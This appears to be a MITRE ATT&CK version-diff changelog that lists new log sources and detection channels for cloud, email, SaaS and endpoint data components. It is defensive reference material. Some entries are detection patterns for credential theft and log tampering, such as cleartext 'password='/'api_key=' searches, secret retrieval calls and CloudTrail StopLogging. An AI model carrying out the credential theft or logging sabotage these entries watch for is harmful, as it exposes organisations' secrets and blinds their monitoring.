x_mitre_log_sources		[{'name': 'azure:activity', 'channel': 'Update conditionalAccessPolicy'}, {'name': 'esxi:vpxa', 'channel': 'vim.SessionManager.login / vim.AccountManager.createUser'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5136'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4739'}, {'name': 'azure:SigninLogs', 'channel': 'Add certificate credential, Update certificate credential'}, {'name': 'm365:dirsync', 'channel': 'Replication cookie changes involving Configuration partition with new server/nTDSDSA objects.'}, {'name': 'WinEventLog:DirectoryService', 'channel': 'EventCode=5136'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'esxi:vpxd', 'channel': 'permission change operations on datastores or VMs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-AppPassword, Add-MailboxPermission'}, {'name': 'm365:unified', 'channel': 'Add app role assignment grant to user: Consent to application by privileged or unexpected accounts'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:11.376000+00:00	2025-10-22 18:42:57.886000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8

[DC0038] Application Log Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0038', 'external_id': 'DC0038'}]
x_mitre_log_sources		[{'name': 'Application Log', 'channel': 'None'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook errors loading or processing custom form templates'}, {'name': 'm365:unified', 'channel': 'Unusual form activity within Outlook client, including load of non-default forms'}, {'name': 'saas:okta', 'channel': 'Conditional Access policy rule modified or MFA requirement disabled'}, {'name': 'ApplicationLog:EntraIDPortal', 'channel': 'DeviceRegistration events'}, {'name': 'ApplicationLog:Intune/MDM Logs', 'channel': 'Enrollment events (e.g., MDMDeviceRegistration)'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed & Exchange Audit'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed, Search-Mailbox events'}, {'name': 'WinEventLog:Application', 'channel': 'Office Add-in load errors, abnormal loading context, or unsigned add-in warnings'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed'}, {'name': 'Application:Mail', 'channel': 'smtpd$.$: .from=[.@internaldomain.com](mailto:.@internaldomain.com) to=[.@internaldomain.com](mailto:.@internaldomain.com)'}, {'name': 'saas:slack', 'channel': 'file_upload, message_send, message_click'}, {'name': 'saas:teams', 'channel': 'ChatMessageSent, ChatMessageEdited, LinkClick'}, {'name': 'saas:gmail', 'channel': 'SendEmail, OpenAttachment, ClickLink'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, AttachmentPreviewed'}, {'name': 'WinEventLog:System', 'channel': 'Changes to applicationhost.config or DLLs loaded by w3wp.exe'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6416'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'Device started/installed (UMDF) GUIDs'}, {'name': 'linux:syslog', 'channel': 'usb * new\|thunderbolt\|pci .* added\|block.: new . device'}, {'name': 'macos:unifiedlog', 'channel': 'Device attached\|enumerated VID/PID'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types'}, {'name': 'Application:Mail', 'channel': 'Inbound messages with anomalous headers, spoofed SPF/DKIM failures'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound email activity with suspicious domains or mismatched sender information'}, {'name': 'm365:unified', 'channel': 'FileAccessed: Access of email attachments by Office applications'}, {'name': 'saas:collaboration', 'channel': 'MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)'}, {'name': 'ApplicationLog:IIS', 'channel': 'IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)'}, {'name': 'ApplicationLog:WebServer', 'channel': '/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors'}, {'name': 'macos:unifiedlog', 'channel': 'App/web server logs ingested via unified logging or filebeat (nginx/apache/node).'}, {'name': 'ApplicationLog:Ingress', 'channel': 'Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections'}, {'name': 'esxi:vmkernel', 'channel': 'vmkernel / OpenSLP logs for malformed requests'}, {'name': 'networkdevice:controlplane', 'channel': 'Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule execution failure or abnormal rule execution context'}, {'name': 'm365:unified', 'channel': 'Creation or modification of inbox rule outside of normal user behavior'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails containing embedded or shortened URLs'}, {'name': 'Application:Mail', 'channel': 'Inbound emails containing hyperlinks from suspicious sources'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages with embedded or shortened URLs'}, {'name': 'azure:signinLogs', 'channel': 'ConsentGrant: Suspicious consent grants to non-approved or unknown applications'}, {'name': 'm365:unified', 'channel': 'AppRegistration: Unexpected application registration or OAuth authorization'}, {'name': 'm365:unified', 'channel': 'MessageSend, MessageRead, or FileAttached events containing credential-like patterns'}, {'name': 'm365:exchange', 'channel': 'Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains'}, {'name': 'saas:slack', 'channel': 'chat.postMessage, files.upload, or discovery API calls involving token/credential regex'}, {'name': 'linux:syslog', 'channel': 'Inbound messages from webmail services containing attachments or URLs'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages containing embedded links or attachments from non-enterprise services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031,7034,1000,1001'}, {'name': 'linux:syslog', 'channel': "kernel\|systemd messages indicating 'segmentation fault'\|'core dumped'\|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."}, {'name': 'esxi:hostd', 'channel': "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."}, {'name': 'macos:unifiedlog', 'channel': "process 'crashed'\|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."}, {'name': 'esxi:hostd', 'channel': 'unexpected script/command invocations via hostd'}, {'name': 'linux:syslog', 'channel': 'System daemons initiating encrypted sessions with unexpected destinations'}, {'name': 'esxi:vpxd', 'channel': 'Symmetric crypto routines triggered for external session'}, {'name': 'AWS:CloudTrail', 'channel': 'SendEmail'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeModel'}, {'name': 'saas:openai', 'channel': 'High volume of requests to /v1/chat/completions or /v1/images/generations'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Add-InboxRule, RegisterWebhook'}, {'name': 'saas:application', 'channel': 'High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.'}, {'name': 'NSM:Connections', 'channel': 'PushNotificationSent'}, {'name': 'saas:okta', 'channel': 'MFAChallengeIssued'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution'}, {'name': 'linux:syslog', 'channel': 'milter configuration updated, transport rule initialized, unexpected script execution'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs'}, {'name': 'linux:syslog', 'channel': 'Repetitive HTTP 408, 500, or 503 errors logged within short timeframe'}, {'name': 'macos:unifiedlog', 'channel': 'opendirectoryd crashes or abnormal authentication errors'}, {'name': 'm365:unified', 'channel': 'ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA'}, {'name': 'WinEventLog:Application', 'channel': 'Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events'}, {'name': 'linux:syslog', 'channel': 'Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads'}, {'name': 'macos:unifiedlog', 'channel': 'Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches'}, {'name': 'm365:unified', 'channel': 'Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook logs indicating failure to load or render HTML page in Home Page view'}, {'name': 'm365:unified', 'channel': 'Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1102'}, {'name': 'linux:cli', 'channel': 'cleared or truncated .bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'log stream cleared or truncated'}, {'name': 'm365:unified', 'channel': 'PurgeAuditLogs, Remove-MailboxAuditLog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=104'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000-1026'}, {'name': 'EDR:detection', 'channel': 'ThreatDetected, QuarantineLog'}, {'name': 'macos:unifiedlog', 'channel': 'quarantine or AV-related subsystem'}, {'name': 'EDR:detection', 'channel': 'ThreatLog'}, {'name': 'azure:signinlogs', 'channel': 'Modify Conditional Access Policy'}, {'name': 'm365:unified', 'channel': 'Set-CsOnlineUser or UpdateAuthPolicy'}, {'name': 'm365:unified', 'channel': 'New-InboxRule or Set-InboxRule events recorded in Exchange Online'}, {'name': 'ApplicationLog:MailServer', 'channel': 'Unexpected additions of sieve rules or filtering directives'}, {'name': 'm365:unified', 'channel': 'Transport rule or inbox rule creation events'}, {'name': 'ApplicationLog:Outlook', 'channel': 'Outlook client-level rule creation actions not consistent with normal user activity'}, {'name': 'kubernetes:orchestrator', 'channel': 'Access to orchestrator logs containing credentials (Docker/Kubernetes logs)'}, {'name': 'WinEventLog:Application', 'channel': 'Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)'}, {'name': 'journald:systemd', 'channel': 'Repeated service restart attempts or unit failures'}, {'name': 'macos:unifiedlog', 'channel': 'Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console'}, {'name': 'docker:events', 'channel': 'Container exited with non-zero code repeatedly in short period'}, {'name': 'WinEventLog:Application', 'channel': 'SCCM, Intune logs'}, {'name': 'macos:jamf', 'channel': 'RemoteCommandExecution'}, {'name': 'networkdevice:syslog', 'channel': 'config push events'}, {'name': 'linux:syslog', 'channel': 'processes binding to non-standard ports or sshd configured on unexpected port'}, {'name': 'm365:unified', 'channel': 'GAL Lookup or Address Book download'}, {'name': 'esxi:hostd', 'channel': 'Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails with attachments from suspicious or spoofed senders'}, {'name': 'Application:Mail', 'channel': 'Inbound email attachments logged from MTAs with suspicious metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound messages with attachments from suspicious domains'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files'}, {'name': 'm365:unified', 'channel': 'certificate added or modified in application credentials'}, {'name': 'saas:Snowflake', 'channel': 'QUERY: Large or repeated SELECT * queries to sensitive tables'}, {'name': 'saas:Airtable', 'channel': 'EXPORT: User-triggered data export via GUI or API'}, {'name': 'ApplicationLog:CallRecords', 'channel': 'Outbound or inbound calls to high-risk or blocklisted numbers'}, {'name': 'networkdevice:syslog', 'channel': 'SIP REGISTER, INVITE, or unusual call destination metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Outgoing or incoming calls with non-standard caller IDs or unusual metadata'}, {'name': 'm365:unified', 'channel': 'Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call'}, {'name': 'docker:daemon', 'channel': 'container_create,container_start'}, {'name': 'saas:github', 'channel': 'Bulk access to multiple files or large volume of repo requests within short time window'}, {'name': 'm365:exchange', 'channel': 'Transport Rule Modification'}, {'name': 'm365:exchange', 'channel': 'Admin Audit Logs, Transport Rules'}, {'name': 'saas:application', 'channel': 'High-volume API calls or traffic via messaging or webhook service'}, {'name': 'm365:unified', 'channel': 'Set federation settings on domain\|Set domain authentication\|Add federated identity provider'}, {'name': 'linux:syslog', 'channel': 'system daemons initiating TLS sessions outside expected services'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership'}, {'name': 'Application:Mail', 'channel': 'Mismatch between authenticated username and From header in email'}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app or third-party clients sending messages with mismatched From headers'}, {'name': 'gcp:workspaceaudit', 'channel': 'SendAs: Outbound messages with alias identities that differ from primary account'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000'}, {'name': 'linux:syslog', 'channel': 'browser/office crash, segfault, abnormal termination'}, {'name': 'macos:unifiedlog', 'channel': 'process crash, abort, code signing violations'}, {'name': 'saas:okta', 'channel': 'WebUI access to administrator dashboard'}, {'name': 'm365:unified', 'channel': 'Read-only configuration review from GUI'}, {'name': 'saas:box', 'channel': 'User navigated to admin interface'}, {'name': 'azure:signinlogs', 'channel': 'Register PTA Agent or Modify AD FS trust'}, {'name': 'm365:unified', 'channel': 'Modify Federation Settings or Update Authentication Policy'}, {'name': 'saas:okta', 'channel': 'Federation configuration update or signing certificate change'}, {'name': 'macos:unifiedlog', 'channel': 'Configuration profile modified or new profile installed'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000, 1001, 1002'}, {'name': 'journald:Application', 'channel': 'Segfault or crash log entry associated with specific application binary'}, {'name': 'macos:unifiedlog', 'channel': 'Crash log entries for a process receiving malformed input or known exploit patterns'}, {'name': 'AWS:CloudWatch', 'channel': 'Repeated crash pattern within container or instance logs'}, {'name': 'esxi:hostd', 'channel': 'unexpected script invocations producing long encoded strings'}, {'name': 'docker:runtime', 'channel': 'execution of cloud CLI tool (e.g., aws, az) inside container'}, {'name': 'WinEventLog:Application', 'channel': 'VPN, Citrix, or remote access gateway logs showing external IP addresses'}, {'name': 'NSM:Connections', 'channel': 'Failed password or accepted password for SSH users'}, {'name': 'ApplicationLog:API', 'channel': 'Docker/Kubernetes API access from external sources'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Unusual spikes in inbound messages to a single recipient'}, {'name': 'Application:Mail', 'channel': 'High-frequency inbound mail activity to a specific recipient address'}, {'name': 'm365:exchange', 'channel': 'MailDelivery: High-frequency delivery of messages or attachments to a single recipient'}, {'name': 'macos:unifiedlog', 'channel': 'Repetitive inbound email delivery activity logged within a short time window'}, {'name': 'saas:confluence', 'channel': 'access.content'}, {'name': 'm365:unified', 'channel': 'PowerShell: Add-MailboxPermission'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows'}, {'name': 'm365:exchange', 'channel': 'New-InboxRule: Automation that triggers abnormal forwarding or external link generation'}, {'name': 'saas:googledrive', 'channel': 'FileOpen / FileAccess: Event-driven script triggering on user file actions'}, {'name': 'networkdevice:syslog', 'channel': 'Failed authentication requests redirected to non-standard portals'}, {'name': 'saas:okta', 'channel': 'System API Call: user.read, group.read'}, {'name': 'esxi:hostd', 'channel': 'Host daemon command log entries related to vib enumeration'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission or Set-ManagementRoleAssignment'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule creation, form load, or homepage redirection'}, {'name': 'm365:mailboxaudit', 'channel': 'Outlook rule creation or custom form deployment'}, {'name': 'saas:zoom', 'channel': 'unusual web session tokens and automation patterns during login'}, {'name': 'WinEventLog:Application', 'channel': 'High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)'}, {'name': 'linux:syslog', 'channel': 'Error/warning logs from services indicating load spike or worker exhaustion'}, {'name': 'macos:unifiedlog', 'channel': 'Application errors or resource contention from excessive frontend or script invocation'}, {'name': 'AWS:CloudWatch', 'channel': 'Elevated 5xx response rates in application logs or gateway layer'}, {'name': 'm365:messagetrace', 'channel': 'AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail'}, {'name': 'linux:syslog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain'}, {'name': 'macos:unifiedlog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains'}, {'name': 'saas:email', 'channel': 'AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1341,1342,1020,1063'}, {'name': 'linux:syslog', 'channel': 'suspicious DHCP lease assignment with unexpected DNS or gateway'}, {'name': 'macos:unifiedlog', 'channel': 'new DHCP configuration with anomalous DNS or router values'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange logs or header artifacts'}, {'name': 'macos:unifiedlog', 'channel': 'Mail or AppleScript subsystem'}, {'name': 'm365:exchange', 'channel': 'MessageTrace logs'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000,1001'}, {'name': 'linux:syslog', 'channel': 'opened document\|clicked link\|segfault\|abnormal termination\|sandbox'}, {'name': 'macos:unifiedlog', 'channel': 'opened document\|clicked link\|EXC_BAD_ACCESS\|abort\|LSQuarantine'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'm365:unified', 'channel': 'Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser\|AttachRolePolicy\|CreateAccessKey\|UpdateAssumeRolePolicy\|CreateLoginProfile'}, {'name': 'azure:activity', 'channel': 'Add role assignment / ElevateAccess / Create service principal'}, {'name': 'saas:googleworkspace', 'channel': 'OAuth2 authorization grants / Admin role assignments'}, {'name': 'm365:unified', 'channel': 'Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship'}, {'name': 'linux:syslog', 'channel': 'Authentication attempts into finance-related servers from unusual IPs or times'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous keychain access attempts targeting payment credentials'}, {'name': 'saas:finance', 'channel': 'Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts'}, {'name': 'saas:audit', 'channel': 'Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows'}, {'name': 'm365:unified', 'channel': 'MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, SearchQueried'}, {'name': 'm365:unified', 'channel': 'Detection of hidden macro streams or SetHiddenAttribute actions'}, {'name': 'm365:unified', 'channel': 'RunMacro'}, {'name': 'azure:audit', 'channel': 'App registrations or consent grants by abnormal users or at unusual times'}, {'name': 'azure:signinlogs', 'channel': 'Resource access initiated using application credentials, not user accounts'}, {'name': 'saas:slack', 'channel': 'OAuth token use by unknown app client_id accessing private channels or files'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels'}, {'name': 'linux:syslog', 'channel': 'sshd sessions with unusual port forwarding parameters'}, {'name': 'saas:audit', 'channel': 'Application added or consent granted: Integration persisting after original user disabled'}, {'name': 'linux:syslog', 'channel': 'Non-standard processes negotiating SSL/TLS key exchanges'}, {'name': 'esxi:vpxd', 'channel': 'ESXi process initiating asymmetric handshake with external host'}, {'name': 'WinEventLog:Application', 'channel': 'Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs'}, {'name': 'linux:syslog', 'channel': 'Module registration or stacktrace logs indicating segmentation faults or unknown module errors'}, {'name': 'esxi:hostd', 'channel': 'New extension/module install with unknown vendor ID'}, {'name': 'm365:unified', 'channel': 'FileUploaded or FileCopied events'}, {'name': 'saas:salesforce', 'channel': 'DataExport, RestAPI, Login, ReportExport'}, {'name': 'saas:hubspot', 'channel': 'contact_viewed, contact_exported, login'}, {'name': 'saas:slack', 'channel': 'conversations.history, files.list, users.info, audit_logs'}, {'name': 'm365:unified', 'channel': 'TeamsMessageAccess, TeamsExport, ExternalAppAccess'}, {'name': 'm365:unified', 'channel': 'TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport'}, {'name': 'm365:unified', 'channel': 'FileAccessed'}, {'name': 'm365:messagetrace', 'channel': 'X-MS-Exchange-Organization-AutoForwarded'}, {'name': 'linux:syslog', 'channel': 'Segfaults, kernel oops, or crashes in security software processes'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal terminations of com.apple.security.* or 3rd-party security daemons'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services'}, {'name': 'm365:unified', 'channel': 'ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:35.474000+00:00	2025-10-21 15:14:36.580000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0093] Certificate Registration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0093', 'external_id': 'DC0093'}]
x_mitre_log_sources		[{'name': 'Certificate', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:58.597000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0090] Cloud Service Disable

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0090', 'external_id': 'DC0090'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'Stop logging for an existing CloudTrail'}, {'name': 'AWS:CloudTrail', 'channel': 'Removal of CloudTrail trail'}, {'name': 'azure:activity', 'channel': 'az monitor diagnostic-settings delete'}, {'name': 'saas:audit', 'channel': 'Log export integration removed or disabled'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, or DisableSecurityService'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:30.989000+00:00	2025-10-21 15:14:39.702000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0083] Cloud Service Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0083', 'external_id': 'DC0083'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'GetSecretValue'}, {'name': 'gcp:secrets', 'channel': 'accessSecretVersion'}, {'name': 'azure:ad', 'channel': 'SecretGet'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:ListInventoryEntries'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances, DescribeServices, ListFunctions: High frequency enumeration calls or unusual user agents performing discovery'}, {'name': 'azure:audit', 'channel': 'ListApplications, ListServicePrincipals: Large-scale queries against identity or application objects'}, {'name': 'm365:unified', 'channel': 'Get-MsolServicePrincipal, ListAppRoles: Service discovery operations executed by accounts not normally performing administrative tasks'}, {'name': 'saas:adminapi', 'channel': 'ListIntegrations, ListServices: Repeated service discovery requests from accounts without administrative responsibilities'}, {'name': 'AWS:CloudTrail', 'channel': 'GetInstanceIdentityDocument or IMDSv2 token requests'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeUsers / ListUsers / GetUser'}, {'name': 'azure:signinlogs', 'channel': 'Graph API Query'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:34.195000+00:00	2025-10-21 15:14:38.498000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0070] Cloud Service Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0070', 'external_id': 'DC0070'}]
x_mitre_log_sources		[{'name': 'CloudTrail:GetInstanceIdentityDocument', 'channel': 'GetInstanceIdentityDocument'}, {'name': 'AWS:CloudTrail', 'channel': 'rds:ExecuteStatement: Large data access via RDS or Aurora with unknown session context'}, {'name': 'saas:github', 'channel': 'repo.download, repo.clone, oauth.authorize, repo.getContent'}, {'name': 'AWS:CloudWatch', 'channel': 'unexpected IAM user or role assuming privileges for instance/snapshot operations'}, {'name': 'CloudTrail:GetSecretValue', 'channel': 'API call to retrieve secret or access key'}, {'name': 'CloudTrail:InvokeFunction', 'channel': 'InvokeFunction'}, {'name': 'm365:sharepoint', 'channel': 'Multiple file download operations on a site by a privileged account in a short time window'}, {'name': 'saas:github', 'channel': 'CI/CD secret accessed or exported'}, {'name': 'm365:exchange', 'channel': 'Cmdlet - New-InboxRule'}, {'name': 'm365:unified', 'channel': 'New-InboxRule, Set-InboxRule'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:27.794000+00:00	2025-10-21 15:14:34.276000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0069] Cloud Service Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0069', 'external_id': 'DC0069'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'CreateFunction'}, {'name': 'm365:unified', 'channel': 'Creation of Power Automate flow triggered by OneDrive or Exchange event'}, {'name': 'AWS:CloudTrail', 'channel': 'PutUserPolicy, PutGroupPolicy, PutRolePolicy, CreatePolicyVersion'}, {'name': 'AWS:CloudTrail', 'channel': 'Condition block updated in IAM policy (e.g., aws:SourceIp, aws:RequestedRegion)'}, {'name': 'azure:activity', 'channel': 'operationName: Write, Access Review, RoleAssignment'}, {'name': 'azure:policy', 'channel': 'UpdatePolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateAccountPasswordPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'PutIdentityPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'LeaveOrganization: API calls severing accounts from AWS Organizations'}, {'name': 'CloudTrail:Organizations', 'channel': 'CreateAccount: API calls creating new accounts in AWS Organizations'}, {'name': 'azure:audit', 'channel': 'Tenant subscription transfers or new management group creation'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateIdentityPolicy or DisableMFA'}, {'name': 'm365:unified', 'channel': 'SendMessage'}, {'name': 'gcp:config', 'channel': 'UpdateSink request modifying log export destinations'}, {'name': 'azure:policy', 'channel': 'DisableAuditLogs or ConditionalAccess logging changes'}, {'name': 'CloudTrail:UpdatePolicy', 'channel': 'UpdateFederationSettings or RegisterHybridConnector'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession / ModifyTrafficMirrorTarget'}, {'name': 'azure:activity', 'channel': 'Microsoft.Network/networkWatchers/flowLogSettings/write'}, {'name': 'gcp:audit', 'channel': 'compute.packetMirroring.insert'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateFunction / UpdateFunctionConfiguration: Function creation, role assignment, or configuration change events'}, {'name': 'm365:unified', 'channel': 'AddFlow / UpdateFlow: New automation or workflow creation events'}, {'name': 'saas:appsscript', 'channel': 'Create / Update: Deployment of scripts with event-driven triggers'}, {'name': 'saas:slack', 'channel': 'Exported file or accessed admin API'}, {'name': 'AWS:CloudTrail', 'channel': 'RequestServiceQuotaIncrease'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.AUTHORIZATION/POLICIES/WRITE'}, {'name': 'gcp:audit', 'channel': 'projects.updateQuota or orgPolicies.updatePolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'Use of temporary credentials issued from IMDS access'}, {'name': 'saas:github', 'channel': 'Workflow triggered via pull_request_target from forked repo'}, {'name': 'azure:audit', 'channel': 'Consent to application: OAuth application consent granted to service principal'}, {'name': 'saas:integration', 'channel': 'New or modified third-party application integrations with elevated 